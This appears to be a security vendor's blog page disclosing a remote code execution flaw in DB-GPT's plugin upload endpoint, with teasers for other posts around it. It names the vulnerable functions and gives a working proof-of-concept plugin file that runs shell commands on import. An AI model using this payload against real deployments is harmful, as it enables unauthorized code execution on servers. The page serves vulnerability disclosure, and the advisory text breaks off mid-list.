How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
An RCE was found in the plugin upload functionality through the /v1/personal/agent/upload endpoint. While basic controls are in place for filename sanitization and path traversal prevention via _sanitize_filename(), there is no validation of the actual plugin code content. An attacker can upload a malicious Python file that passes the filename checks but contains arbitrary code. This code will be executed when the plugin is loaded through scan_plugins() during the refresh_plugins() call. The vulnerability is exploitable remotely through the FastAPI endpoint.
personal_agent_upload() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py_sanitize_filename() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/plugin_hub.pyscan_plugins() in packages/dbgpt-core/src/dbgpt/agent/resource/tool/autogpt/plugins_util.pyrefresh_plugins() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.pyThe attack can be triggered through a single HTTP request to the /v1/personal/agent/upload endpoint, requires no special permissions or authentication beyond access to the endpoint, and code execution happens silently during the plugin loading process, even if plugin validation eventually fails.
Create malicious init.py with payload
<code class="hljs language-python">
<span class="hljs-comment"># code executes immediately upon import</span>
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> datetime
<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> socket
<span class="hljs-comment"># create evidence file</span>
timestamp = datetime.datetime.now().strftime(<span class="hljs-string">"%Y-%m-%d %H:%M:%S"</span>)
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'/tmp/rce_${EXPLOIT_ID}.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
f.write(<span class="hljs-string">f'RCE executed at <span class="hljs-subst">{timestamp}</span>\\n'</span>)
f.write(<span class="hljs-string">f'Hostname: <span class="hljs-subst">{socket.gethostname()}</span>\\n'</span>)
<span class="hljs-comment"># execute commands with root privileges</span>
output = subprocess.check_output(<span class="hljs-string">'whoami && id && hostname'</span>, shell=<span class="hljs-literal">True</span>).decode(<span class="hljs-string">'utf-8'</span>)
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'/tmp/rce_cmd_${EXPLOIT_ID}.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
f.write(output)
<span class="hljs-keyword">from</span> auto_gpt_plugin_template <span class="hljs-keyword">import</span> AutoGPTPluginTemplate
<span class="hljs-keyword">class</span> <span class="hljs-title class_">ExploitPlugin</span>(<span class="hljs-title class_ inherited__">AutoGPTPluginTemplate</span>):
<span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self</span>):
<span class="hljs-built_in">super</span>().__init__()
<span class="hljs-variable language_">self</span>._name = <span class="hljs-string">"RCE-Demo"</span>
<span class="hljs-variable language_">self</span>._version = <span class="hljs-string">"0.1.0"</span>
<span class="hljs-variable language_">self</span>._description = <span class="hljs-string">"RCE demo"</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">can_handle_post_prompt</span>(<span class="hljs-params">self</span>):
<span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">post_prompt</span>(<span class="hljs-params">self, prompt</span>):
<span class="hljs-keyword">return</span> prompt
</code>Attackers can:

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
Authorization bypass in n8n’s dynamic-credentials OAuth endpoints allows any authenticated user to operate on another user’s OAuth credential by supplying its ID, enabling unauthorized OAuth rebinding and revocation.
Artemiy Malyshau
An IDOR vulnerability in n8n’s public variables API allows authenticated users to read project variables outside their authorized scope, exposing secrets across project boundaries.
Artemiy Malyshau
Learn API scanning for automated security testing. Find vulnerabilities from broken authentication to business logic flaws in your endpoints.
Artemiy Malyshau
A complete guide to automated pentest tools and best practices. Learn what works, what doesn’t, and how to implement continuous security testing.
Artemiy Malyshau
Compare the best AI-powered application security testing tools. Find which tools detect business logic flaws and broken access control.
Artemiy Malyshau
Occasional updates, new content, and insights. No spam; unsubscribe anytime.